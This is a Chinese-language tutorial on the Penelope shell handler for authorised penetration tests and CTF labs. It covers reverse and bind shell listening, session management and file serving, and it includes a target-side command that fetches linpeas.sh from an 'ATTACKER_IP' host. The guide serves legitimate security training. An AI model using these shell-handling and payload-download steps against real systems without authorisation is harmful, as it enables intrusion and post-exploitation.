跳到主要内容

Penelope Shell Handler 使用笔记

项目地址:brightio/penelope

Penelope 是一个面向授权渗透测试和 CTF 场景的 Shell Handler。它可以把常见的 nc -lvnp 4444 监听流程扩展成更完整的后渗透工作台:反弹 Shell 监听、Bind Shell 连接、PTY 自动升级、会话管理、交互日志、文件上传下载和临时 HTTP 文件服务都能放在同一个工具里处理。

适用场景

适合优先考虑 Penelope 的场景:

  • 需要长时间操作不稳定的反弹 Shell。
  • 同一目标可能会回连多次,需要管理多个会话。
  • 想自动获得更舒服的 PTY 交互体验。
  • 希望默认记录交互过程,方便复盘命令和证据。
  • 需要在目标和攻击机之间频繁传文件。

仍然可以直接用 nc 的场景:

  • 只需要一次非常短的连接测试。
  • 环境规则限制使用额外工具。
  • 目标网络、考试或授权范围对工具能力有明确限制。

安装

Kali Linux 可以直接使用软件源:

sudo apt update
sudo apt install penelope

如果想跟随上游版本,可以用 pipx

pipx install git+https://github.com/brightio/penelope

需要更稳定的 PyPI 发布版本时:

pipx install penelope-shell-handler

临时环境也可以直接运行单文件脚本。执行远程脚本前建议先下载并审阅内容:

wget -q https://raw.githubusercontent.com/brightio/penelope/refs/heads/main/penelope.py
python3 penelope.py -h

基础监听

默认监听 0.0.0.0:4444

penelope

指定端口:

penelope -p 5555

同时监听多个端口:

penelope -p 4444,5555

指定监听网卡或 IP,例如实验环境里常见的 VPN 网卡:

penelope -i tun0 -p 4444

显示当前监听器可用的反弹 Shell payload 示例:

penelope -a

拿到 Shell 后,Penelope 会尝试升级交互体验。PTY 会话中默认按 F12 返回主菜单;如果没有升级成 PTY,通常可以用 Ctrl+C 回到菜单而不是直接杀掉目标 Shell。具体按键以连接时界面提示为准。

Bind Shell

如果目标开放的是 Bind Shell,由攻击机主动连过去:

penelope -c 192.168.56.101 -p 3333

这里的 -c 是目标地址,-p 是目标 Bind Shell 端口。

SSH 触发反弹 Shell

Penelope 也可以配合 SSH 使用,让目标通过 SSH 会话触发反弹连接:

penelope ssh user@192.168.56.101

如果要指定本地监听端口:

penelope -p 5555 ssh user@192.168.56.101

SSH 本身需要额外参数时,用 -- 把 Penelope 参数和 SSH 参数隔开:

penelope -i tun0 -p 5555 -- ssh -l user -p 2222 192.168.56.101

文件服务

用 Penelope 临时共享文件或目录:

penelope -s ./tools

默认端口会根据模式选择;如果要固定文件服务端口,可以同时指定 -p

penelope -s ./tools -p 8000

目标机上再用 wgetcurl 下载需要的文件:

wget http://ATTACKER_IP:8000/linpeas.sh

会话管理

主菜单适合处理多个 Shell。常用思路是:

  • 先用 penelope -M 直接进入主菜单。
  • 多个目标或多个端口回连时,在菜单里选择具体 session 交互。
  • 交互中需要切回菜单时,根据当前会话提示按 F12Ctrl+DCtrl+C
  • 需要复盘时查看 Penelope 保存的会话日志。

如果 Shell 很容易断,可以让 Penelope 尝试维持每个目标的活跃会话数量:

penelope -m 1 -p 4444

如果只想接收第一个会话:

penelope -S -p 4444

考试和授权范围注意事项

Penelope 的核心能力是 Shell 处理,不是自动漏洞利用框架。但它带有模块能力,部分模块可能会触碰考试或授权边界。考试环境使用前应以当时官方规则为准。

更保守的启动方式:

penelope -O -p 4444

-O / --oscp-safe 用来开启 OSCP-safe 模式,适合希望降低误用风险的练习环境。

常见排障

监听地址不对

多网卡环境里优先确认攻击机地址:

penelope -l

然后指定正确网卡:

penelope -i tun0 -p 4444

目标回连不上

按顺序检查:

  • payload 里的 IP 是否是目标能访问到的攻击机 IP。
  • 本机防火墙是否拦截监听端口。
  • VPN、Host-only、NAT 网络是否隔离。
  • 端口是否被其他进程占用。

自动升级不符合预期

部分目标缺少 Python、scriptstty 等工具时,交互升级能力会受限。可以先稳定拿到基础 Shell,再根据目标环境手工补齐交互体验。

速查

目的命令
默认监听反弹 Shellpenelope
指定端口监听penelope -p 5555
指定网卡监听penelope -i tun0 -p 4444
显示 payload 示例penelope -a
连接 Bind Shellpenelope -c TARGET_IP -p 3333
临时文件服务penelope -s ./tools -p 8000
进入主菜单penelope -M
保守模式penelope -O -p 4444

参考